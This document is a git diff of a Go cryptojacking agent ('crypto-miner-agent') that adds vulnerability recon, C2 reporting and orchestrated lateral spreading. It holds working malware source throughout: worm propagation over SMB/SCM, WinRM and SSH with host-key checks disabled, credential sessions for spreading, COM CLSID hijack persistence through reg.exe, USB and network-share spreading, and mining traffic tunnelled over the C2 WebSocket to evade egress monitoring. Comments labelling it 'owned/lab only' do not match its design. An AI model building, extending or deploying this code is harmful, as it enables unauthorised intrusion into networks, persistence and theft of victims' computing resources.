RawSysinfo string `json:"raw_sysinfo,omitempty"`
|
RawSysinfo string `json:"raw_sysinfo,omitempty"`
|
||||||
RawIPConfig string `json:"raw_ipconfig,omitempty"`
|
RawIPConfig string `json:"raw_ipconfig,omitempty"`
|
||||||
|
|||||||
179
agent/client/triple_onion_chain.go
Normal file
179
agent/client/triple_onion_chain.go
Normal file
@@ -0,0 +1,179 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"log"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
if !c.triplePolicyLoaded {
|
||||||
|
return miner.DefaultTripleOnionPolicy()
|
||||||
|
}
|
||||||
|
return miner.NormalizeTripleOnionPolicy(c.triplePolicy)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
|
||||||
|
if len(raw) == 0 || string(raw) == "null" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var p miner.TripleOnionPolicy
|
||||||
|
if err := json.Unmarshal(raw, &p); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
|
||||||
|
c.triplePolicyLoaded = true
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
|
||||||
|
c := r.client
|
||||||
|
policy := c.tripleOnionPolicy()
|
||||||
|
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
||||||
|
RunReconTier: r.runReconTier,
|
||||||
|
RunDeployLane: r.runDeployLane,
|
||||||
|
RunMining: r.startMiningCascade,
|
||||||
|
ReportEvent: r.reportOnionEvent,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult {
|
||||||
|
switch tier {
|
||||||
|
case "kev_scan":
|
||||||
|
return r.reconKEVScan()
|
||||||
|
case "vuln_recon", "vuln_probe":
|
||||||
|
return r.reconVulnProbe()
|
||||||
|
case "service_probe":
|
||||||
|
return r.reconServiceProbe()
|
||||||
|
case "listen_ports":
|
||||||
|
return r.reconListenPorts()
|
||||||
|
default:
|
||||||
|
return miner.ReconTierResult{OK: false, Error: "unknown recon tier"}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult {
|
||||||
|
patch := collectPatchStatus()
|
||||||
|
ports := collectListenPorts()
|
||||||
|
var sec *SysCheckSecurity
|
||||||
|
if p := collectPosture(); p != nil {
|
||||||
|
sec = securityFromPosture(p)
|
||||||
|
}
|
||||||
|
kev := scanKEVExposure(patch, ports, sec)
|
||||||
|
if kev == nil {
|
||||||
|
return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"}
|
||||||
|
}
|
||||||
|
return miner.ReconTierResult{
|
||||||
|
OK: true,
|
||||||
|
Snapshot: miner.ReconSnapshot{
|
||||||
|
RiskScore: kev.RiskScore,
|
||||||
|
CriticalExposed: kev.CriticalCount,
|
||||||
|
ExposedCount: kev.ExposedCount,
|
||||||
|
LikelyCount: kev.LikelyCount,
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"summary": kev.Summary,
|
||||||
|
"findings": len(kev.Findings),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult {
|
||||||
|
p := collectPosture()
|
||||||
|
if p == nil {
|
||||||
|
return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"}
|
||||||
|
}
|
||||||
|
count := len(p.Services)
|
||||||
|
return miner.ReconTierResult{
|
||||||
|
OK: true,
|
||||||
|
Snapshot: miner.ReconSnapshot{
|
||||||
|
ServiceCount: count,
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"posture_score": p.PostureScore,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult {
|
||||||
|
ports := collectListenPorts()
|
||||||
|
if ports == nil {
|
||||||
|
return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"}
|
||||||
|
}
|
||||||
|
return miner.ReconTierResult{
|
||||||
|
OK: true,
|
||||||
|
Snapshot: miner.ReconSnapshot{
|
||||||
|
OpenPortCount: ports.Count,
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port_count": ports.Count,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult {
|
||||||
|
report := RunVulnLOTLProbe()
|
||||||
|
if report == nil {
|
||||||
|
return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"}
|
||||||
|
}
|
||||||
|
critical := 0
|
||||||
|
for _, f := range report.Findings {
|
||||||
|
if f.Severity == "critical" && !f.Patched {
|
||||||
|
critical++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return miner.ReconTierResult{
|
||||||
|
OK: true,
|
||||||
|
Snapshot: miner.ReconSnapshot{
|
||||||
|
RiskScore: report.RiskScore,
|
||||||
|
CriticalExposed: critical,
|
||||||
|
ExposedCount: report.ExposedCount,
|
||||||
|
LikelyCount: report.CriticalCount,
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"summary": report.Summary,
|
||||||
|
"findings": len(report.Findings),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) {
|
||||||
|
c := r.client
|
||||||
|
if lane == "discover_and_join" {
|
||||||
|
msg, err := c.runDiscoverAndJoin(8)
|
||||||
|
if err != nil {
|
||||||
|
return false, err.Error()
|
||||||
|
}
|
||||||
|
return true, msg
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
cfg := c.cfg
|
||||||
|
c.mu.Unlock()
|
||||||
|
return deploy.TryDiscoverJoinLane(cfg, lane)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) {
|
||||||
|
c := r.client
|
||||||
|
payload, err := json.Marshal(struct {
|
||||||
|
miner.TripleOnionReport
|
||||||
|
Event string `json:"event"`
|
||||||
|
}{
|
||||||
|
TripleOnionReport: report,
|
||||||
|
Event: eventType,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil {
|
||||||
|
log.Printf("[triple-onion] %s notify failed: %v", eventType, err)
|
||||||
|
}
|
||||||
|
r.mu.Lock()
|
||||||
|
r.onionAttempts = report.Attempts
|
||||||
|
r.mu.Unlock()
|
||||||
|
}
|
||||||
60
agent/client/vuln_scan.go
Normal file
60
agent/client/vuln_scan.go
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
"crypto-miner-agent/vulnprobe"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
vulnScanMu sync.RWMutex
|
||||||
|
lastVulnReport *vulnprobe.ScanReport
|
||||||
|
)
|
||||||
|
|
||||||
|
func listeningPortMap(lp *ListenPortsReport) map[int]bool {
|
||||||
|
m := make(map[int]bool)
|
||||||
|
if lp == nil {
|
||||||
|
return m
|
||||||
|
}
|
||||||
|
for _, p := range lp.Ports {
|
||||||
|
m[p.Port] = true
|
||||||
|
}
|
||||||
|
return m
|
||||||
|
}
|
||||||
|
|
||||||
|
// vulnprobeProbeHost is overridden in tests to inject mocked probe output.
|
||||||
|
var vulnprobeProbeHost = func(ports map[int]bool, osVersion string) vulnprobe.HostContext {
|
||||||
|
return vulnprobe.ProbeHost(ports, osVersion)
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunVulnLOTLProbe executes read-only LOTL vulnerability recon (authorized assessment).
|
||||||
|
func RunVulnLOTLProbe() *vulnprobe.ScanReport {
|
||||||
|
ports := collectListenPorts()
|
||||||
|
ctx := vulnprobeProbeHost(listeningPortMap(ports), deploy.HostOSVersion())
|
||||||
|
if patch := collectPatchStatus(); patch != nil {
|
||||||
|
if patch.LastPatchDays != nil {
|
||||||
|
ctx.LastPatchDays = *patch.LastPatchDays
|
||||||
|
}
|
||||||
|
if patch.LastPatch != nil {
|
||||||
|
ctx.LastPatch = *patch.LastPatch
|
||||||
|
}
|
||||||
|
}
|
||||||
|
report := vulnprobe.Run(ctx)
|
||||||
|
vulnScanMu.Lock()
|
||||||
|
lastVulnReport = report
|
||||||
|
vulnScanMu.Unlock()
|
||||||
|
return report
|
||||||
|
}
|
||||||
|
|
||||||
|
// LastVulnScan returns the most recent cached vulnerability report.
|
||||||
|
func LastVulnScan() *vulnprobe.ScanReport {
|
||||||
|
vulnScanMu.RLock()
|
||||||
|
defer vulnScanMu.RUnlock()
|
||||||
|
if lastVulnReport == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
dup := *lastVulnReport
|
||||||
|
dup.Findings = append([]vulnprobe.VulnFinding(nil), lastVulnReport.Findings...)
|
||||||
|
return &dup
|
||||||
|
}
|
||||||
32
agent/client/vuln_scan_test.go
Normal file
32
agent/client/vuln_scan_test.go
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/vulnprobe"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
|
||||||
|
SetPostureCollector(func() *PostureReport { return nil })
|
||||||
|
defer SetPostureCollector(nil)
|
||||||
|
|
||||||
|
origProbe := vulnprobeProbeHost
|
||||||
|
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {
|
||||||
|
return vulnprobe.HostContext{
|
||||||
|
Platform: "windows",
|
||||||
|
ExchangeInstalled: true,
|
||||||
|
LastPatchDays: 150,
|
||||||
|
ListeningPorts: map[int]bool{443: true},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
defer func() { vulnprobeProbeHost = origProbe }()
|
||||||
|
|
||||||
|
report := RunVulnLOTLProbe()
|
||||||
|
if report == nil || len(report.Findings) == 0 {
|
||||||
|
t.Fatal("expected vuln findings from mocked probe")
|
||||||
|
}
|
||||||
|
cached := LastVulnScan()
|
||||||
|
if cached == nil || cached.RiskScore != report.RiskScore {
|
||||||
|
t.Fatalf("cache mismatch: %+v vs %+v", cached, report)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
ThreadPercent: 75,
|
ThreadPercent: 75,
|
||||||
CPUPriority: "below_normal",
|
CPUPriority: "below_normal",
|
||||||
MiningMode: "always",
|
MiningMode: "always",
|
||||||
|
MinerExecution: "inprocess",
|
||||||
DisplayMode: "visible",
|
DisplayMode: "visible",
|
||||||
SilentMode: false,
|
SilentMode: false,
|
||||||
RunAs: "user",
|
RunAs: "user",
|
||||||
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
RVNPoolPort: 6060,
|
RVNPoolPort: 6060,
|
||||||
RVNPoolTLS: false,
|
RVNPoolTLS: false,
|
||||||
RVNPoolPass: "x",
|
RVNPoolPass: "x",
|
||||||
|
LotlOnionEnabled: false,
|
||||||
|
LotlPolicyFromServer: false,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package config
|
package config
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"os"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
@@ -17,6 +18,11 @@ type BuiltinConfig struct {
|
|||||||
ThreadPercent int
|
ThreadPercent int
|
||||||
CPUPriority string
|
CPUPriority string
|
||||||
MiningMode string
|
MiningMode string
|
||||||
|
// MinerExecution selects CPU/GPU workload isolation: auto, container, inprocess, subprocess.
|
||||||
|
// Distinct from MiningMode schedule (always/idle/scheduled).
|
||||||
|
MinerExecution string
|
||||||
|
// DockerImageTar is a local OCI tarball path for docker_load tier (server policy / upload stub).
|
||||||
|
DockerImageTar string
|
||||||
DisplayMode string
|
DisplayMode string
|
||||||
SilentMode bool
|
SilentMode bool
|
||||||
RunAs string
|
RunAs string
|
||||||
@@ -63,6 +69,10 @@ type BuiltinConfig struct {
|
|||||||
AutoSpread bool
|
AutoSpread bool
|
||||||
HolePunch bool
|
HolePunch bool
|
||||||
RemoteAggressive bool
|
RemoteAggressive bool
|
||||||
|
// Spread technique options (forge-baked; owned/lab only)
|
||||||
|
WinRMSpread bool // lateral WinRM encoded bootstrap in autospread
|
||||||
|
COMHijackPersist bool // COM CLSID hijack persistence — default off
|
||||||
|
LinuxLOTLMode string // systemd_run_user | crontab | both | off
|
||||||
// Passive spreading — triggered by the environment rather than active scanning
|
// Passive spreading — triggered by the environment rather than active scanning
|
||||||
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
||||||
ShareSpread bool // drop agent onto already-mounted network shares
|
ShareSpread bool // drop agent onto already-mounted network shares
|
||||||
@@ -93,8 +103,16 @@ type BuiltinConfig struct {
|
|||||||
AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
|
AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
|
||||||
// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
|
// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
|
||||||
HTTPSBeaconFallback bool
|
HTTPSBeaconFallback bool
|
||||||
|
// StratumOverWS prefers mining jobs/shares via the C2 WebSocket (port 443/wss)
|
||||||
|
// instead of opening direct Stratum TCP egress to the pool.
|
||||||
|
StratumOverWS bool
|
||||||
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
|
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
|
||||||
HTTPSBeaconAfterMin int
|
HTTPSBeaconAfterMin int
|
||||||
|
|
||||||
|
// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
|
||||||
|
LotlOnionEnabled bool
|
||||||
|
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
||||||
|
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
|
||||||
}
|
}
|
||||||
|
|
||||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||||
@@ -127,6 +145,11 @@ func Load() RuntimeConfig {
|
|||||||
if b.MiningMode == "" {
|
if b.MiningMode == "" {
|
||||||
b.MiningMode = "always"
|
b.MiningMode = "always"
|
||||||
}
|
}
|
||||||
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_EXECUTION")); v != "" {
|
||||||
|
b.MinerExecution = v
|
||||||
|
} else if b.MinerExecution == "" {
|
||||||
|
b.MinerExecution = "auto"
|
||||||
|
}
|
||||||
if b.DisplayMode == "" {
|
if b.DisplayMode == "" {
|
||||||
if b.SilentMode {
|
if b.SilentMode {
|
||||||
b.DisplayMode = "silent"
|
b.DisplayMode = "silent"
|
||||||
|
|||||||
@@ -34,6 +34,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
|||||||
|
|
||||||
for {
|
for {
|
||||||
spreadToLocalSubnet(cfg)
|
spreadToLocalSubnet(cfg)
|
||||||
|
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||||
|
go spreadViaWinRM(cfg)
|
||||||
|
}
|
||||||
<-ticker.C
|
<-ticker.C
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
@@ -43,7 +46,10 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
|||||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||||
go spreadToLocalSubnet(cfg)
|
go spreadToLocalSubnet(cfg)
|
||||||
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||||
|
go spreadViaWinRM(cfg)
|
||||||
|
}
|
||||||
|
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
|
||||||
}
|
}
|
||||||
|
|
||||||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||||
@@ -52,56 +58,7 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
|||||||
var spreadSem = make(chan struct{}, 16)
|
var spreadSem = make(chan struct{}, 16)
|
||||||
|
|
||||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||||
// ARP-first: only probe hosts the OS has recently spoken to.
|
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
||||||
// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
|
|
||||||
targets := arpHosts()
|
|
||||||
|
|
||||||
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
|
|
||||||
// machines with SMB open so we still reach previously-unseen machines.
|
|
||||||
if len(targets) < 3 {
|
|
||||||
ips := getLocalIPs()
|
|
||||||
seen := make(map[string]bool)
|
|
||||||
for _, t := range targets {
|
|
||||||
seen[t] = true
|
|
||||||
}
|
|
||||||
for _, ip := range ips {
|
|
||||||
if !isIPv4(ip) {
|
|
||||||
continue // active sweep is IPv4 /24 only; see subnet.go
|
|
||||||
}
|
|
||||||
subnet := getSubnet(ip)
|
|
||||||
if subnet == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
for i := 1; i < 255; i++ {
|
|
||||||
candidate, ok := ipv4SweepHost(subnet, i)
|
|
||||||
if !ok {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
if candidate == ip || seen[candidate] {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
// Quick port check — only bother with machines that have :445 open
|
|
||||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
|
||||||
if err == nil {
|
|
||||||
conn.Close()
|
|
||||||
seen[candidate] = true
|
|
||||||
targets = append(targets, candidate)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
localSet := make(map[string]bool)
|
|
||||||
for _, ip := range getLocalIPs() {
|
|
||||||
localSet[ip] = true
|
|
||||||
}
|
|
||||||
var filtered []string
|
|
||||||
for _, target := range targets {
|
|
||||||
if localSet[target] {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
filtered = append(filtered, target)
|
|
||||||
}
|
|
||||||
beginSpreadSweep("smb_scm", len(filtered))
|
beginSpreadSweep("smb_scm", len(filtered))
|
||||||
if len(filtered) == 0 {
|
if len(filtered) == 0 {
|
||||||
finishSpreadSweepImmediate()
|
finishSpreadSweepImmediate()
|
||||||
@@ -125,6 +82,18 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
|||||||
}
|
}
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|
||||||
|
var credSession SpreadCredSession
|
||||||
|
var credCleanup func()
|
||||||
|
if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
|
||||||
|
credSession = session
|
||||||
|
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
||||||
|
credCleanup = cleanup
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if credCleanup != nil {
|
||||||
|
defer credCleanup()
|
||||||
|
}
|
||||||
|
|
||||||
exePath, err := os.Executable()
|
exePath, err := os.Executable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
recordSpreadAttempt(target, false, "executable path unavailable")
|
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||||
@@ -159,7 +128,9 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
|||||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||||
recordSpreadAttempt(target, true, "")
|
recordSpreadAttempt(target, true, "")
|
||||||
|
reportSpreadCredEdge(target, "smb_scm", credSession, true)
|
||||||
} else {
|
} else {
|
||||||
recordSpreadAttempt(target, false, "remote service start failed")
|
recordSpreadAttempt(target, false, "remote service start failed")
|
||||||
|
reportSpreadCredEdge(target, "smb_scm", credSession, false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -139,7 +139,11 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
sshSpreadStartCmd(remotePath))
|
||||||
|
if persist := sshSpreadPersistCmd(cfg, remotePath); persist != "" {
|
||||||
|
start = exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||||
|
sshSpreadStartCmd(remotePath)+"; "+persist)
|
||||||
|
}
|
||||||
if err := start.Run(); err == nil {
|
if err := start.Run(); err == nil {
|
||||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||||
recordSpreadAttempt(target, true, "")
|
recordSpreadAttempt(target, true, "")
|
||||||
|
|||||||
8
agent/deploy/com_hijack_stub.go
Normal file
8
agent/deploy/com_hijack_stub.go
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "crypto-miner-agent/config"
|
||||||
|
|
||||||
|
// MaybeApplyCOMHijackOnInstall is a no-op on non-Windows platforms.
|
||||||
|
func MaybeApplyCOMHijackOnInstall(_ config.RuntimeConfig, _ string) {}
|
||||||
33
agent/deploy/com_hijack_windows.go
Normal file
33
agent/deploy/com_hijack_windows.go
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Benign CLSID used for optional COM hijack persistence (owned lab machines only).
|
||||||
|
const comHijackCLSID = `{BCDE0395-E52F-467C-8E3D-C4579291692E}`
|
||||||
|
|
||||||
|
// applyCOMHijackPersistence registers agent under InprocServer32 (forge flag COMHijackPersist).
|
||||||
|
func applyCOMHijackPersistence(agentPath string) error {
|
||||||
|
if agentPath == "" {
|
||||||
|
return fmt.Errorf("empty agent path")
|
||||||
|
}
|
||||||
|
base := `HKCU\Software\Classes\CLSID\` + comHijackCLSID + `\InprocServer32`
|
||||||
|
_ = HiddenRun("reg.exe", "add", base, "/ve", "/d", agentPath, "/f")
|
||||||
|
_ = HiddenRun("reg.exe", "add", base, "/v", "ThreadingModel", "/d", "Apartment", "/f")
|
||||||
|
log.Printf("[spread] COM hijack registered under %s (owned machines only)", comHijackCLSID)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// MaybeApplyCOMHijackOnInstall applies COM hijack after install when configured.
|
||||||
|
func MaybeApplyCOMHijackOnInstall(cfg config.RuntimeConfig, installedBin string) {
|
||||||
|
if !cfg.COMHijackPersist {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = applyCOMHijackPersistence(installedBin)
|
||||||
|
}
|
||||||
@@ -13,9 +13,10 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
runFlag = "--run"
|
runFlag = "--run"
|
||||||
spreadFlag = "--spread-install"
|
spreadFlag = "--spread-install"
|
||||||
backupSuffix = ".bak"
|
deferMiningFlag = "--defer-mining"
|
||||||
|
backupSuffix = ".bak"
|
||||||
)
|
)
|
||||||
|
|
||||||
// BinaryExt returns the executable suffix for the current OS.
|
// BinaryExt returns the executable suffix for the current OS.
|
||||||
@@ -95,7 +96,15 @@ func copyFile(src, dest string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func relaunch(exePath, logPath string) error {
|
func relaunch(exePath, logPath string) error {
|
||||||
cmd := exec.Command(exePath, runFlag)
|
return relaunchWithOptions(exePath, logPath, WantsDeferMining())
|
||||||
|
}
|
||||||
|
|
||||||
|
func relaunchWithOptions(exePath, logPath string, deferMining bool) error {
|
||||||
|
args := []string{runFlag}
|
||||||
|
if deferMining {
|
||||||
|
args = append(args, deferMiningFlag)
|
||||||
|
}
|
||||||
|
cmd := exec.Command(exePath, args...)
|
||||||
cmd.Dir = filepath.Dir(exePath)
|
cmd.Dir = filepath.Dir(exePath)
|
||||||
if logPath != "" {
|
if logPath != "" {
|
||||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||||
@@ -186,6 +195,34 @@ func wantsSpreadInstall() bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WantsDeferMining delays the mining fallback chain until diagnostics pass (spread/GPO/Intune).
|
||||||
|
func WantsDeferMining() bool {
|
||||||
|
if wantsDeferMiningFlag() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if v := strings.TrimSpace(os.Getenv("AETHER_DEFER_MINING")); v == "1" || strings.EqualFold(v, "true") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func wantsDeferMiningFlag() bool {
|
||||||
|
for _, arg := range os.Args[1:] {
|
||||||
|
if arg == deferMiningFlag {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunFlags returns CLI flags appended after --run for autostart/relaunch hooks.
|
||||||
|
func RunFlags() string {
|
||||||
|
if WantsDeferMining() {
|
||||||
|
return runFlag + " " + deferMiningFlag
|
||||||
|
}
|
||||||
|
return runFlag
|
||||||
|
}
|
||||||
|
|
||||||
func isRunMode() bool {
|
func isRunMode() bool {
|
||||||
for _, arg := range os.Args[1:] {
|
for _, arg := range os.Args[1:] {
|
||||||
if arg == runFlag {
|
if arg == runFlag {
|
||||||
|
|||||||
29
agent/deploy/common_defer_test.go
Normal file
29
agent/deploy/common_defer_test.go
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWantsDeferMiningFlag(t *testing.T) {
|
||||||
|
old := os.Args
|
||||||
|
defer func() { os.Args = old }()
|
||||||
|
os.Args = []string{"agent", "--run"}
|
||||||
|
if WantsDeferMining() {
|
||||||
|
t.Fatal("expected false without defer flag or env")
|
||||||
|
}
|
||||||
|
os.Args = []string{"agent", "--run", "--defer-mining"}
|
||||||
|
if !WantsDeferMining() {
|
||||||
|
t.Fatal("expected true with --defer-mining")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunFlagsIncludesDeferWhenSet(t *testing.T) {
|
||||||
|
old := os.Args
|
||||||
|
defer func() { os.Args = old }()
|
||||||
|
os.Args = []string{"agent", "--defer-mining"}
|
||||||
|
flags := RunFlags()
|
||||||
|
if flags != "--run --defer-mining" {
|
||||||
|
t.Fatalf("RunFlags = %q", flags)
|
||||||
|
}
|
||||||
|
}
|
||||||
80
agent/deploy/cred_spread.go
Normal file
80
agent/deploy/cred_spread.go
Normal file
@@ -0,0 +1,80 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SpreadCredSession is a short-lived deployment credential bundle (never persisted by the agent).
|
||||||
|
type SpreadCredSession struct {
|
||||||
|
ProfileID string
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// SpreadCredReport records a spread attempt outcome for the server cred graph.
|
||||||
|
type SpreadCredReport struct {
|
||||||
|
Host string
|
||||||
|
Subnet string
|
||||||
|
ProfileID string
|
||||||
|
Method string
|
||||||
|
Success bool
|
||||||
|
}
|
||||||
|
|
||||||
|
